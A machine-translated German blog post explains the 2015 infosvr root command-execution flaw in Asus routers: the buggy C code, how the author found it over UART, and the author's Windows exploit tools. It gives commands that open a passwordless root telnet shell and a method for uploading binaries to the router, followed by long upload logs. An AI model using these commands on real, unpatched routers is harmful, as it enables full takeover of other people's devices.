Ausnutzung der Root-Schwachstelle in Asus-Routern

Anfang 2015 hat Asus eine kritische Schwachstelle in seinen Routern behoben. Die "Lücke" befand sich in einem Dienst namens infosvr , der von Asus-Dienstprogrammen verwendet wurde, um die Konfiguration des Routers zu vereinfachen, indem er automatisch im lokalen Netzwerk erkannt wurde. Die Sicherheitsanfälligkeit, die das Ausführen von Befehlen mit Root-Rechten ermöglicht (schließlich ist infosvr auch root ), gibt dem Angreifer die volle Kontrolle über das System.

Aber Asus hat gepatchte Firmware veröffentlicht. Jetzt ist alles in der Vergangenheit. Oder nicht? Hmm ... Und wie oft aktualisieren normale Leute die Firmware auf ihren Routern?



Ich frage unter dem Schnitt nach Details, Entdeckungsgeschichte, Nachforschungen, Anweisungen und ... Exploits.

Was ist los?


Der infosvr- Dienst lauscht auf Port 9999 ( UDP ). Wenn ein Paket mindestens 512 Byte groß ist, analysiert es es und führt je nach Typ die entsprechenden Antwortaktionen aus. Beispielsweise werden Informationen zu einigen Einstellungen des Routers erfasst und an das Device Discovery-Programm gesendet, mit dessen Hilfe die IP-Adresse des Routers ermittelt werden kann. Es gibt aber auch eine Art Paket, bei dem ein Systembefehl von einem Router ausgeführt wird. Dann hat Asus'ovtsy es vermasselt. Aufgrund eines Fehlers im Verarbeitungscode eines solchen Pakets kann der Befehl ohne Berechtigung ausgeführt werden. Dies ist die Zeile if (memcpy (phdr_ex-> MacAddress, mac, 6) == 0) in der folgenden Auflistung (nicht wesentliche Zeilen entfernt):

Ein Teil der processPacket-Funktion (int sockfd, char * pdubuf) aus common.c
if (phdr->OpCode!=NET_CMD_ID_GETINFO && phdr->OpCode!=NET_CMD_ID_GETINFO_MANU)
{
	phdr_ex = (IBOX_COMM_PKT_HDR_EX *)pdubuf;
	// Check Mac Address
	if (memcpy(phdr_ex->MacAddress, mac, 6)==0)
	{
		_dprintf("Mac Error %2x%2x%2x%2x%2x%2x\n",
			(unsigned char)phdr_ex->MacAddress[0],
			(unsigned char)phdr_ex->MacAddress[1],
			(unsigned char)phdr_ex->MacAddress[2],
			(unsigned char)phdr_ex->MacAddress[3],
			(unsigned char)phdr_ex->MacAddress[4],
			(unsigned char)phdr_ex->MacAddress[5]
		);
		return NULL;
	}
	phdr_res->Info = phdr_ex->Info;
	memcpy(phdr_res->MacAddress, phdr_ex->MacAddress, 6);
}


Wahrscheinlich gibt stattdessen Memcpy angenommen die memcmp (das ist , was passiert , wenn die Codezeilen , um das Kopieren zu etwas später zwicken), sondern stattdessen angenommen ==! =. Aber selbst wenn dieser Fehler nicht vorhanden wäre, würde es immer noch ausreichen, die MAC-Adresse für die Penetration zu kennen .

Nach erfolgreicher „Authentifizierung“ wird der Befehl aus dem Paket ausgeführt:

Gleiche Funktion; ein bisschen weiter auf dem Code
switch(phdr->OpCode)
{
	case NET_CMD_ID_MANU_CMD:
		#define MAXSYSCMD 256
		char cmdstr[MAXSYSCMD];
		PKT_SYSCMD *syscmd;
		syscmd = (PKT_SYSCMD *)(pdubuf+sizeof(IBOX_COMM_PKT_HDR_EX));
		if (syscmd->len>=MAXSYSCMD) syscmd->len=MAXSYSCMD;
		syscmd->cmd[syscmd->len]=0;
		syscmd->len=strlen(syscmd->cmd);
		fprintf(stderr,"system cmd: %d %s\n", syscmd->len, syscmd->cmd);
		sprintf(cmdstr, "%s > /tmp/syscmd.out", syscmd->cmd);
		system(cmdstr);



Möchtest du jetzt eine Quest?

  • Geh hier hin
  • Wählen Sie einen Router
  • Folgen Sie dem Pfad Support -> Treiber und Dienstprogramme -> Betriebssystem -> Firmware
  • Suchen Sie in der Liste nach der Firmware für Januar 2015
  • In der Beschreibung ist wahrscheinlich ein mittlerer Ausdruck " Behobenes Infosvr-Sicherheitsproblem ".
  • ???
  • !!!

Beeindruckende Größe? In der Tat war alles nicht so schlimm (und jetzt, als das "Loch" geschlossen war - im Allgemeinen gut). Tatsache ist, dass infosvr mit der br0- Schnittstelle arbeitet , d.h. mit einer Brücke zwischen anderen Schnittstellen. Wenn der Router im IP-Freigabemodus (allgemeiner IP-Modus) arbeitet, kombiniert br0 eth0 und wlan0 . Beachten Sie, dass eth1 ( WAN ) hier nicht enthalten ist. Das heißt bin schon froh, dass niemand aus dem externen netz kriechen wird. Befindet sich der Router jedoch im Access Point- Modus , integriert br0 alle Schnittstellen ...

Entdeckungsgeschichte


Irgendwie wollte ich meinen Router über UART steuern , also über die Hardwarekonsole. „Warum solche Schwierigkeiten? Komm in Telnet. “- wirst du sagen. Da war es! Das ist RT-N10E! (Er ist RT-N10LX).

Sehen Sie hier einen Telnet-Switch? Ich auch nicht


Später fand ich heraus, dass es so sein könnte:
192.168.1.1/telnetd.cgi?enable=1



Ich werde nicht viel darüber erzählen, wie beschissen der Router ist. Wer konfrontiert - weiß. Und für die Glücklichen, die sich nicht darum kümmern mussten, möchte ich sagen, dass die Asus RT-xxxE (oder RT-xxxLX) -Router einen Prozessor von Realtek haben, für den es keine alternative Firmware gibt! Obwohl die Community es versucht . Bei der offiziellen Firmware habe ich vor ein paar Jahren PPTP verwendet. Ständig friert, bricht und andere Freuden. PPPoE stieg zunächst gar nicht an (sie haben es in einigen Firmware behoben). Jetzt funktioniert dieser Router wie eine Brücke zwischen WLAN und Ethernet.

Erfahren Sie mehr über die Unterschiede zwischen RT-xxxE und RT-xxxLX
Der Unterschied zwischen Asus RT-N10E und Asus RT-N10LX
In der Tat ist dies der gleiche Router, Asus RT-N10LX hat eine 2 dBi-Antenne, RT-N10E - 5 dBi. In den technischen Daten des RT-N10LX ist zusätzlich IEEE 802.11d angegeben. Dies bedeutet lediglich, dass der Router regionale gesetzliche Beschränkungen im Bereich der Kommunikation berücksichtigt und daher eine schwächere Antenne verwendet wird. Persönlich bin ich auf eine Kopie (2012 von Assembly) mit einer kleinen Antenne bei 2 dBi gestoßen, während alle Markierungen auf dem Router und der Box darauf hinweisen, dass es sich um RT-N10E und nicht um RT-N10LX handelt. Wenn Sie sich die Informationen auf der offiziellen Website genau ansehen, heißt es: "Der Antennentyp hängt von den örtlichen Bestimmungen und Anforderungen in den einzelnen Ländern ab" und "Dieses Modell wird nur in der EU, in China und in Südamerika verkauft". Wie sie sagen, die gleichen Eier, nur im Profil. Die Firmware dieser beiden Modelle ist identisch.

Unterschied zwischen Asus RT-N10E / LX und RT-N12E / LX
Im 12. Modell der gleiche Prozessor, aber ein anderer Controller - RTL8192CE, mit dem Sie 2 MIMO verwenden können und theoretisch bis zu 300 Mb / s liefern. Der Unterschied zwischen den Versionen RT-N12E und RT-N12LX liegt in den Antennen.

Unterschied zwischen Asus RT-N10E / LX und Asus RT-N10
ASUS hat auch RT-N10- und RT-N12-Router. Und hier ist es wichtig zu verstehen, dass es sich um andere Geräte handelt, die auf der Basis von Broadcom-Chips aufgebaut sind. Für RT-N10 und RT-N12 gibt es alternative Firmware-Enthusiasten, einschließlich "von Oleg". Seien Sie vorsichtig beim Kauf!
Quelle


Also mit UART verbunden.

Stellen Sie eine Verbindung zu UART her


Einschalten. Wir sehen den Startvorgang. (Cap: Übrigens sehen Sie das nicht über Telnet. Das war's!)
Das Laden des Routers erfolgt also über / dev / console (/ dev / ttyS0).
========== SPI ============
SDRAM- UHR : 156 MHz
- In den Einzel-E / A-Modus zwingen - | Keine chipID Sft chipSize blkSize secSize pageSize sdCk opCk chipName |
| 0 ef4016h 0h 400000h 10000h 1000h 100h 104 39 W25Q32 |
- --- RealTek (RTL8196C) bei 2012.04.09-16 : 54 + 0800 v1.1f Version [16bit] (390MHz)

#### return_addr: 0x05010000, root_bin_offset: 0x050dd012
Springe zu Bild start = 0x80500000 ...
Dekomprimieren den Kernel:
Uncompressing Linux ... fertig, den Kernel booten.
Kernel dekomprimiert.
Startadresse: 0x80003600
RTL8192C / RTL8188C-Treiberversion 1.6 (2011-07-18)

Prüfen der RTL8186 10/ 100-NIC- Kenel- Stapelgrößenreihenfolge [2] ...
Chipname: 8196C, Chip-Revid: 4
NOCH NICHT
eth0 hinzugefügt. vid = 9 Member Port 0x10 ...
eth1 hinzugefügt. vid = 8 Member Port 0x1 ...
eth2 hinzugefügt. vid = 9 Member Port 0x2 ...
eth3 hinzugefügt. vid = 9 Member Port 0x4 ...
eth4 hinzugefügt. vid = 9 Member-Port 0x8 ...
[peth0] hinzugefügt, Zuordnung zu [eth1] ...
init gestartet: BusyBox v1.13.4 (2014-09-18 18:01:50 CST)

## flash.c free apmib ##
Init Start ...

## system / sysconf.c free apmib ## ##

flash.c free apmib ##
===== Parameter für BSMI-Test setzen =====
Init bridge interface ...
Syslog verwendet 64 KB für das Protokoll (7 drehen, 1 Original, jeweils 8 KB)
Init Wlan-Anwendung ...

## flash.c free apmib

## ## flash.c free apmib ##
Init Firewall-Regeln ...
Derzeit keine WAN-IP!
WAN - Schnittstelle ... Init
start_wan: 0 sysop wan_iface eth1 lan_iface br0 wisp_id 0 1 act_source
set_dhcp_client: sysop 0 wan_iface eth1 lan_iface br0 wisp_id act_source 0 1
start_wan_dhcp_client: iface eth1
kein solcher Prozess

MiniIGD v1.07 (2013.05.21-07: 19 + 0000) .

System TZ ENV = GMT-2
Netzwerkkarte

neu
starten ## system / sysconf.c free apmib ## infosvr
router starten ip = 192.168.1.1
mac addr = 50: 46: 5d: 86: 76: fc
WLAN0_WLAN_DISABLED = 0 ## flash.c free apmib ##
sh: ## flash.c: unbekannter Operand
# Start wanduck!
Starten Sie httpd!

# 1: Direktregel aktivieren

Nachdem der Download abgeschlossen war, begann ich, das System zu untersuchen: Softwareversionen, Hardware und andere Informationen, die über die Konsole abgerufen werden können. Aber dazu später mehr.

Es ist interessant zu sehen, wie auf Standard-Benutzeraktionen reagiert wird, z. B .: Klicken auf die WPS-Schaltfläche, Einstellen über das Webface, Verwenden von Asus Utility ... In der Tat wurden die relevanten Informationen auf der Konsole angezeigt. Wir sollten auch diesen Umstand erwähnen: Wenn Sie versuchen, das Webinterface zu öffnen, schreibt httpd (vermutlich) Login und Passwort in / dev / console (/ dev / ttyS0), um einzugeben!
UserID: admin
UserPass: asus-rt
Stimmt, das geht nicht über Telnet (/ dev / ttyp0).

Vom gesamten Asus Utility-Paket (Geräteerkennung, Router-Setup-Assistent und Firmware-Wiederherstellung) verursachte nur der Router-Setup-Assistent eine Konsolenantwort. Nämlich: Wenn Sie die Anwendung starten und auf die Schaltfläche "Weiter" klicken, werden die folgenden Zeilen angezeigt:
system cmd: 17 nvram get sw_mode
rund: echo 1> /tmp/syscmd.out
2 1

system cmd: 17 nvram get sw_mode
rund: echo 1> /tmp/syscmd.out
2 1

system cmd: 17 nvram get sw_mode
rund: echo 1> /tmp/syscmd.out
2 1

system cmd: 17 nvram get sw_mode
rund: echo 1> /tmp/syscmd.out
2 1

system cmd: 19 nvram get x_setting
sh: nvram: nicht gefunden
rund: nvram get x_setting> / tmp / syscmd.out
0 1

system cmd: 19 nvram get x_setting
sh: nvram: nicht gefunden
rund: nvram get x_setting> /tmp/syscmd.out
0 1

system cmd: 19 nvram get x_setting
sh: nvram: nicht gefunden
rund: nvram get x_Setting> /tmp/syscmd.out
0 1

system cmd: 19 nvram get x_Setting
sh: nvram: nicht gefunden
rund: nvram get x_Setting> /tmp/syscmd.out
0 1

Hmm ...
Sendet der Router-Setup-Assistent diese Befehle? Ich habe durch Wireshark geschaut - ja, diese Befehle werden in UDP-Paketen mit RSW übertragen. Aber was ist, wenn Sie sie durch Ihre eigenen ersetzen?

Es stellte sich heraus, dass ich nicht der erste bin

Bevor ich anfing, meine Taschen auszusuchen, beschloss ich, sie zu googeln. Und er googelte etwas ( eins und zwei ). Der zweite Link enthält eine detaillierte Beschreibung der Sicherheitsanfälligkeit und einen einfachen Exploit für Linux (es gibt auch Python).

AsusCmd Bike


Ich möchte ein solches Programm unter Windows haben, da ich es genau 95% der Zeit benutze. Ich möchte keine virtuelle Maschine von Ubuntu aus starten, um einen Befehl auszuführen.

Abmessungen

Beim Schreiben und Debuggen des Exploits sowie beim Durchsuchen der infosvr- Quellen wurden die "Parameter" dieser "Lücke" herausgefunden.
Nämlich seine Größe. Sie lauten wie folgt:
Die Größe der Empfangs- und Sendepuffer beträgt jeweils 420 Byte. Und alles wäre schön, aber in Wirklichkeit kann der Router nur 420 Bytes als Antwort senden. Aber mit der Rezeption sieht es noch schlimmer aus. Tatsache ist, dass infosvr den Befehl nach Erhalt auf 256 Zeichen abschneidet und erst dann ausführt. Dies ist jedoch nicht die letzte Einschränkung. Wenn Sie ausführen , um die Länge von etwas weniger als 256 Zeichen infosvr mit fällt ein Absturz Segmentation Fault. Der Befehl ist abgeschlossen, es erfolgt jedoch keine Antwort und es ist auch nicht möglich, etwas anderes auszuführen. Empirisch wurde die maximale sichere Länge des Benutzerbefehls ermittelt. Das238 Zeichen. Also, die Größe des "Lochs": 238 - das Team, 420 - die Antwort.

Details (mit einem Beispiel)
infosvr Ursachen
system ("echo" Text "> / var / myText; cat / var / myText> /tmp/syscmd.out");

Hier ist der vollständige Befehl:
'Echo "Etwas Text"> / var / myText; cat / var / myText> /tmp/syscmd.out'

Wo:
'echo "Etwas Text"> / var / myText; cat / var / myText'
- ein Befehl, der vom Benutzer mit AsusCmd gesendet wurde;
'> /tmp/syscmd.out'
- im infosvr- code fest codiert .

Warum muss ich übrigens nach /tmp/syscmd.out umleiten? Und was genau daraus wird dann in den Puffer 420 Bytes eingelesen und die Antwort auf den Befehl wird gesendet.

"Safe Length Limit" bezieht sich speziell auf den Benutzerbefehl.

Das heißt Bei einer benutzerdefinierten Befehlslänge von 238 Zeichen ist der vollständige Befehl 238 + 18 = 256. Wollten die Entwickler den Absturz von infosvr vermeiden, wenn sie den Befehl auf 256 Zeichen reduzierten? Es sieht so aus, als hätten sie strlen nicht berücksichtigt ("> /tmp/syscmd.out").


Der Exploit wird geschrieben und getestet. Sie können es benutzen .

Arbeitsbeispiel


Es ist jedoch nicht sehr praktisch, einen Router zu steuern. Und wenn in diesem Fall das Limit von 238 Zeichen des Befehls nicht sehr auffällt, dann ist die Einschränkung der Ausgabe der Antwort von 420 Zeichen schon trauriger. Aber es gibt einen Weg! Obwohl auf dem Router und stark eingeschränkt Busybox , aber es alle gleich dort Telnetd ! Es ist besser, es auf einem Nicht-Standard-Port wie auszuführen Es gibt keinen Schutz: Für die Verbindung wird kein Passwort benötigt.
AsusCmd.exe "telnetd -l / bin / sh -p777"
Gut jetzt eine andere Sache! Sie können mit allen Annehmlichkeiten, wie der Geschichte der Teams und der Hinzufügung des Vorsprungs völlig befehlen. Wenn das Telnet nicht mehr reagiert, können Sie es neu starten, ohne den Router neu zu starten. Zuerst müssen Sie den dazugehörigen sh nageln :
AsusCmd.exe "killall -9 sh"
Beachten Sie, dass sh , das mit / dev / console verknüpft ist , nach Ausführung dieses Befehls ebenfalls beendet wird . Jetzt können Sie telnetd erneut ausführen .

Großartig. Ist das Thema erschöpft? Dem ist nicht so.

Fortsetzung des Banketts


Wir können also alle verfügbaren Befehle verwenden. Wir können Dateien in beschreibbaren Verzeichnissen (ramfs / var ) erstellen und löschen . Sie können eine lange Textdatei mit mehreren Befehlen schreiben. Aber nicht nur Text! Schließlich kann Echo unter Linux Text in Binärdaten konvertieren! Dies bedeutet, dass wir unsere Programme auf den Router hochladen können, der uns fehlt!

AsusBinWrite

Die Idee ist einfach:
  • Lesen Sie einen Teil der Bytes aus der Quelldatei
  • konvertiere sie in eine für ' echo -e ' verständliche Textansicht
  • Wir bilden ein Systemteam
  • An den Router senden
  • Wiederholen, bis wir die gesamte Datei weiterleiten


Aber es ist in Worten alles leicht und einfach. In der Praxis haben wir es mit ein paar unangenehmen Faktoren zu tun:
  • UDP-Pakete, die manchmal verloren gehen
  • Begrenzung der Nutzlänge des Systembefehls (238 Zeichen)


Mit der Beschränkung der nützlichen Länge des Befehls ist alles klar: Sie müssen nur mehr Pakete senden. Das Schlimme in diesem Fall ist, dass die Übertragungsgeschwindigkeit leidet. Schließlich muss der Router-Prozessor viele kleine Pakete verarbeiten. Das heißt Die Übertragungsrate ist direkt proportional zur Prozessorgeschwindigkeit des Routers. (Getestet mit cpuload : Während AsusBinWrite läuft, ist die CPU des Routers zu 100% geladen).

UDP ist komplizierter. Es ist notwendig, die Richtigkeit der Übertragung irgendwie zu kontrollieren. Der primitive Weg - nur die nächsten Bytes an das Ende der Datei anzuhängen - ist nicht geeignet. Wenn ein Paket auf dem Weg zum Router verloren geht oder dupliziert wird, ist die Datei bereits defekt. Daher wurde die Entscheidung getroffen, zunächst die einzelnen Teile in verschiedene Dateien zu schreiben und deren Inhalt zu überprüfen. Und dann können sie kombiniert werden. Und noch eins: Sie sollten nicht ganz am Ende vereint sein, sondern erst nach einer bestimmten Anzahl übertragener Teile. Da ein Teil nicht etwa 40 Byte (Dateigröße) Speicherplatz beansprucht, sondern alle 4 KB (Seite). Und wenn es tausend Teile gibt? Es reicht kein RAM (auf dem RT-N10E sind es nur 16 MB). Nach dem erfolgreichen Zusammenführen (der Erfolg wird auch durch das Zeichen der Vergrößerung der Zieldatei auf dem Router überprüft) werden diese Teile gelöscht. Also übertragen wir in einer Schleife die gesamte Datei bis zum Ende.

Beispiel für die Übertragung einer ausführbaren Datei

Um den Algorithmus der Arbeit besser zu verstehen, schlage ich vor, zu sehen, was auf / dev / console (/ dev / ttyS0) während der Dateiübertragung passiert, und dies mit der Ausgabe von AsusBinWrite selbst zu vergleichen .

AsusBinWrite-Ausgabe (Fälle von Paketverlust beachten)
Starten Sie das Hochladen der Datei auf 255.255.255.255 ...
Quelldatei: 'Useful \ ldd' Zieldatei: '/ var / ldd'
0,5% 742,4 Bps Teil 1 (49 B; cmd: 237 ch) 192.168.1.1: OK
1,0% 106,5 Bps Teil 2 (49 B; cmd: 237 ch) VERLOREN
1,0% 32,7 Bps Teil 2 (49 B; cmd: 237 ch) 192.168.1.1: OK
1,5% 347,5 Bps Teil 3 (49 B; cmd: 237 ch) 192.168.1.1 : OK
1,9% 159,1 Bps Teil 4 (49 Bps; cmd: 237 ch) 192,168,1,1: OK
2,4% 150,3 Bps Teil 5 (49 B; cmd: 237 ch) VERLOREN
2,4% 32,2 Bps Teil 5 (49 B; cmd: 237 ch) 192.168.1.1: OK
2,9% 376,9 Bps Teil 6 (49 B; cmd: 237 ch) VERLOREN
2,9% 32,6 Bps Teil 6 (49 B; cmd: 237 ch) 192.168.1.1: OK
3,4% 401,6 Bps Teil 7 (49 B; cmd: 237 ch) ש 192.168.1.1: OK
3,9% 146,3 Bps Teil 8 (49 B; cmd: 237 ch) 192,168,1,1: OK
4,4% 102,3 Bps Teil 9 (49 B; cmd: 237 ch) ש 192,168,1,1: OK
4,8% 150,0 Bps Teil 10 (48 B; cmd: 235 ch) 192.168.1.1: OK
5,3% 176,5 Bps Teil 11 (48 B; cmd: 235 ch) 192.168.1.1: OK
5,8% 120,9 Bps Teil 12 (48 B; cmd: 235 ch) שש 192.168.1 .1: OK
6,3% 145,5 Bps Teil 13 (48 B; cmd: 235 ch) 192,168.1.1: OK
6,8% 144,6 Bps Teil 14 (48 B; cmd: 235 ch) ch VERLOREN
6,8% 31,7 Bps Teil 14 (48 B); cmd: 235 ch) 192.168.1.1: OK
7,2% 285,7 Bps Teil 15 (48 B; cmd: 235 ch) 192.168.1.1: OK
7,7% 147,7 Bps Teil 16 (48 B; cmd: 235 ch) VERLOREN
7,7% 32,0 Bps Teil 16 (48 B; cmd: 235 ch) 192.168.1.1: OK
8,2% 333,3 Bps Teil 17 (48 B; cmd: 235 ch) ש 192.168.1.1: OK
8,7% 146,3 Bps Teil 18 (48 B; cmd: 235 ch) 192,168,1,1: OK
9,1% 148,1 Bps Teil 19 (48 B; cmd: 235 ch) 192,168,1,1: OK
9,6% 141,6 Bps Teil 20 (48 B; cmd: 235 ch) .1 192.168.1.1: OK
10,1% 145,0 Bps Teil 21 (48 B; cmd: 235 ch) 192.168.1.1: OK
10,6% 145,5 Bps Teil 22 (48 B; cmd: 235 ch) ) 192.168.1.1: OK
11,0% 148,1 Bps Teil 23 (48 B; cmd: 235 ch) 192.168.1.1: OK
11,5% 145,9 Bps Teil 24 (48 B; cmd: 235 ch) 192.168.1.1 : OK
12,0% 137,5 Bps Teil 25 (48 B; cmd: 235 ch) 192,168,1,1: OK
12,5% 146,3 Bps Teil 26 (48 B; cmd: 235 ch) 192,168,1,1: OK
12,9% 151,9 Bps Teil 27 (48 B; cmd: 235 ch) שש 192.168.1.1: OK
13,4% 172,0 Bps Teil 28 (48 B; cmd: 235 ch) ש 192.168.1.1: OK
13,9% 126,0 Bps Teil 29 (48 Bps; cmd: 235 ch) 192,168,1,1: OK
14,4% 173,3 Bps Teil 30 (48 Bps ; cmd: 235 ch) VERLOREN
14,4% 31,7 Bps Teil 30 (48 Bps; cmd: 235 ch) 192.168.1.1: OK
14,8% 358,2 Bps Teil 31 (48 B; cmd: 235 ch) ש 192.168.1.1: OK
15,3% 144,6 Bps Teil 32 (48 B; cmd: 235 ch) ש 192.168.1.1 : OK
15,8% 149,5 Bps Teil 33 (48 B; cmd: 235 ch) 192,168,1,1: OK
16,3% 137,1 Bps Teil 34 (48 B; cmd: 235 ch) 192,168,1,1: OK
16,7% 153,8 Bps Teil 35 (48 B; cmd: 235 ch) ש 192.168.1.1: OK
17,2% 138,7 Bps Teil 36 (48 B; cmd: 235 ch) ש 192.168.1.1: OK
17,7% 145,5 Bps Teil 37 (48 B; cmd: 235 ch) 192.168.1.1: OK
18,2% 140,4 Bps Teil 38 (48 B; cmd: 235 ch) 192.168.1.1: OK
18,7% 154,3 Bps Teil 39 (48 B; cmd: 235 ch) VERLOREN
18,7% 32,0 Bps Teil 39 (48 B; cmd: 235 ch) VERLOREN
18,7% 32,0 Bps Teil 39 (48 B; cmd: 235 ch) VERLOREN
18,7% 31,6 Bps Teil 39 (48 B; cmd: 235 ch) 192.168.1.1: OK
19,1% 428,6 Bps Teil 40 (48 B; cmd: 235 ch) ש 192.168.1.1: OK
19,6% 175,2 Bps Teil 41 (48 B; cmd: 235 ch) 192.168.1.1: OK
20.1% 120.6 Bps Teil 42 (48 B; cmd: 235 ch) 192.168.1.1: OK
20.6% 146.3 Bps Teil 43 (48 B; cmd: 235 ch) 192.168.1 .1: OK
21,0% 150,0 Bps Teil 44 (48 B; cmd: 235 ch) 192,168,1.1: OK
21,5% 145,0 Bps Teil 45 (48 B; cmd: 235 ch) VERLOREN
21,5% 31,0 Bps Teil 45 (48 B; cmd: 235 ch) 192.168.1.1: OK
22,0% 363,6 Bps Teil 46 (48 B; cmd: 235 ch) ש 192.168.1.1: OK
22,5% 137,9 Bps Teil 47 (48 B; cmd: 235 ch) 192.168.1.1: OK
22,9% 154,3 Bps Teil 48 (48 B; cmd: 235 ch) ש 192.168.1.1: OK
23,4% 145,0 Bps Teil 49 (48 B; cmd: 235 ch) VERLOREN
23,4% 31,9 Bps Teil 49 (48 B; cmd: 235 ch) 192,168,1,1: OK
23,9% 360,9 Bps Teil 50 (48 B; cmd: 235 ch) VERLOREN
23,9% 31,8 Bps Teil 50 (48 B; cmd: 235 ch) 192.168.1.1: OK
24,4% 345,3 Bps Teil 51 (48 B; cmd: 235 ch) 192.168.1.1: OK
24,8% 151,4 Bps Teil 52 (48 B; cmd: 235 ch)) VERLOREN
24,8% 31,6 Bps Teil 52 (48 B; cmd: 235 ch) 192.168.1.1: OK
25,3% 342,9 Bps Teil 53 (48 B; cmd: 235 ch) ש 192.168.1.1: OK
25,8% 145,0 Bps Teil 54 (48 B; cmd: 235 ch) שש 192.168.1.1: OK
26,3% 151,4 Bps Teil 55 (48 B; cmd: 235 ch) ש 192.168.1.1: OK
26,7% 145,5 Bps Teil 56 (48 B; cmd: 235 ch)
192,168,1,1 : OK 27,2% 147,7 Bps Teil 57 (48 B; cmd: 235 ch) 192,168,1,1: OK
27,7% 143,7 Bps Teil 58 (48 B; cmd: 235 ch) 192.168.1.1: OK
28,2% 142,9 Bps Teil 59 (48 B; cmd: 235 ch) 192.168.1.1: OK
28,6% 142,9 Bps Teil 60 (48 B; cmd: 235 ch) 192.168.1.1: OK
29,1% 149,1 Bps Teil 61 (48 B; cmd: 235 ch) 192.168.1.1: OK
29,6% 142,4 Bps Teil 62 (48 B; cmd: 235 ch) 192.168.1.1 : OK
30,1% 142,9 Bps Teil 63 (48 B; cmd: 235 ch) 192,168,1.1: OK
30,6% 145,9 Bps Teil 64 (48 B; cmd: 235 ch) ש 192,168,1.1: OK
31,0% 148,1 Bps Teil 65 (48 B; cmd: 235 ch) 192.168.1.1: OK
31,5% 144,6 Bps Teil 66 (48 B; cmd: 235 ch) 192.168.1.1: OK
32,0% 141,2 Bps Teil 67 (48 B; cmd: 235 ch) 192,168,1,1: OK
32,5% 142,9 Bps Teil 68 (48 B; cmd: 235 ch) 192,168,1,1: OK
32,9% 151,4 Bps Teil 69 (48 B; cmd: 235 ch) 192.168.1.1: OK
33,4% 143,7 Bps Teil 70 (48 B; cmd: 235 ch) 192.168.1.1: OK
33,9% 146,8 Bps Teil 71 (48 B; cmd: 235 ch ) ש 192.168.1.1: OK
34,4% 183,9 Bps Teil 72 (48 B; cmd: 235 ch) 192.168.1.1: OK
34,8% 144,1 Bps Teil 73 (48 B; cmd: 235 ch) שש 192.168.1.1: OK
35,3% 117,1 Bps Teil 74 (48 B; cmd: 235 ch) ש 192,168,1.1: OK
35,8% 144,6 Bps Teil 75 (48 B; cmd: 235 ch) 192,168,1.1: OK
36,3% 144,6 Bps Teil 76 (48 B; cmd: 235 ch) 192.168.1.1: OK
36,7% 151,4 Bps Teil 77 (48 B; cmd: 235 ch) שש 192.168.1.1: OK
37,2% 172,0 Bps Teil 78 (48 Bps; cmd: 235 ch) 192,168,1,1: OK
37,7% 119,7 Bps Teil 79 (48 Bps; cmd: 235 ch) 192,168,1,1: OK
38,2% 143,7 Bps Teil 80 (48 Bps); cmd: 235 ch) 192.168.1.1: OK
38,6% 151,9 Bps Teil 81 (48 B; cmd: 235 ch) 192.168.1.1: OK
39,1% 143,7 Bps Teil 82 (48 B; cmd: 235 ch) 192.168.1 .1: OK
39,6% 146,8 Bps Teil 83 (48 B; cmd: 235 ch) ש 192,168,1.1: OK
40,1% 183,9 Bps Teil 84 (48 B; cmd: 235 ch) שש 192,168,1.1: OK
40,5% 117,1 Bps Teil 85 (48 B; cmd: 235 ch) 192,168,1,1: OK
41,0% 142,9 Bps Teil 86 (48 B; cmd: 235 ch) 192,168,1,1: OK
41,5% 147,2 Bps Teil 87 (48 B; cmd: 235 ch) שש 192.168.1.1: OK
42,0% 179,1 Bps Teil 88 (48 B; cmd: 235 ch) 192.168.1.1: OK
42,5% 145,5 Bps Teil 89 (48 B; cmd: 235 ch) 192,168,1,1: OK
42,9% 136,8 Bps Teil 90 (48 B; cmd: 235 ch) 192,168,1,1: OK
43,4% 120,0 Bps Teil 91 (48 B; cmd: 235 ch) 192.168.1.1: OK
43,9% 151,9 Bps Teil 92 (48 B; cmd: 235 ch) .1 192.168.1.1: OK
44,4% 143,3 Bps Teil 93 (48 B; cmd: 235 ch) ש 192 .168.1.1: OK
44,8% 146,3 Bps Teil 94 (48 B; cmd: 235 ch) ש 192,168.1.1: OK
45,3% 145,9 Bps Teil 95 (48 B; cmd: 235 ch) שש 192,168.1.1: OK
45,8% 138,7 Bps Teil 96 (48 B; cmd: 235 ch) 192,168,1,1: OK
46,3% 151,4 Bps Teil 97 (48 B; cmd: 235 ch) VERLOREN
46,3% 31,8 Bps Teil 97 (48 B; cmd: 235 ch ) 192.168.1.1: OK
46,7% 436,4 Bps Teil 98 (48 B; cmd: 235 ch) שש 192.168.1.1: OK
47,2% 138,7 Bps Teil 99 (48 B; cmd: 235 ch) VERLOREN
47,2% 32,0 Bps Teil 99 (48 B; cmd: 235 ch) 192,168,1,1: OK
47,7% 378,0 Bps Teil 100 (48 B; cmd: 237 ch ) שש 192.168.1.1: OK
Zusammenführen mit /
var / ldd-Teilen 1..16 (16 Stk.; Cmd : 238 ch) ... OK (1545 B)
Zusammenführen zu / var / ldd-Teilen 33..48 (16 Stk.; Cmd: 238 ch) ... OK (2313 B)
Zusammenführen zu / var / ldd-Teilen 49..64 (16 Stk ; cmd: 238 ch) ... OK (3081 B)
Zusammenführen zu / var / ldd-Teilen 65,80 (16 Stk.; cmd: 238 ch) ... OK (3849 B)
Zusammenführen zu / var / ldd-Teilen 81,96 ( 16 Stk; cmd: 238 ch) ... OK (4617 B)
Zusammenführen zu / var / ldd-Teilen 97..100 (4 Stk; cmd: 71 ch) ... OK (4809 B)
Geschrieben 4,70 KB / 9,85 KB 77,0 Bps (Durchschn Verbleibend: 01:08 (01: 02/02: 10)

48,2% 5,2 Bps Teil 101 (49 B; cmd: 237 ch) 192.168.1.1: OK
48,7% 116,7 Bps Teil 102 (49 B; cmd: 237 ch) שש 192.168.1.1: OK
49,1% 196,8 Bps Teil 103 (49 B; cmd: 237 ch) VERLOREN
49,1% 32,7 bps Teil 103 (49 B; cmd: 237 ch) 192,168,1,1: OK
49,6% 418,8 bps Teil 104 (49 B; cmd: 237 ch) שש 192,168,1,1: OK
50,1% 138,8 Bps Teil 105 (49 B; cmd: 237 ch) 192,168,1,1: OK
50,6% 150,8 Bps Teil 106 (49 B; cmd: 237 ch) 192,168,1,1: OK
51,1% 153,6 Bps Teil 107 (49 B; cmd: 237 ch) 192.168.1.1: OK
51,6% 151,7 Bps Teil 108 (49 B; cmd: 237 ch) 192.168.1.1: OK
52,1% 142,4 Bps Teil 109 (49 B; cmd: 237 ch) 192 .168.1.1: OK
52,5% 145,5 Bps Teil 110 (48 B; cmd: 235 ch) ש 192.168.1.1: OK
53,0% 150,9 Bps Teil 111 (48 B; cmd: 235 ch) ש VERLOREN
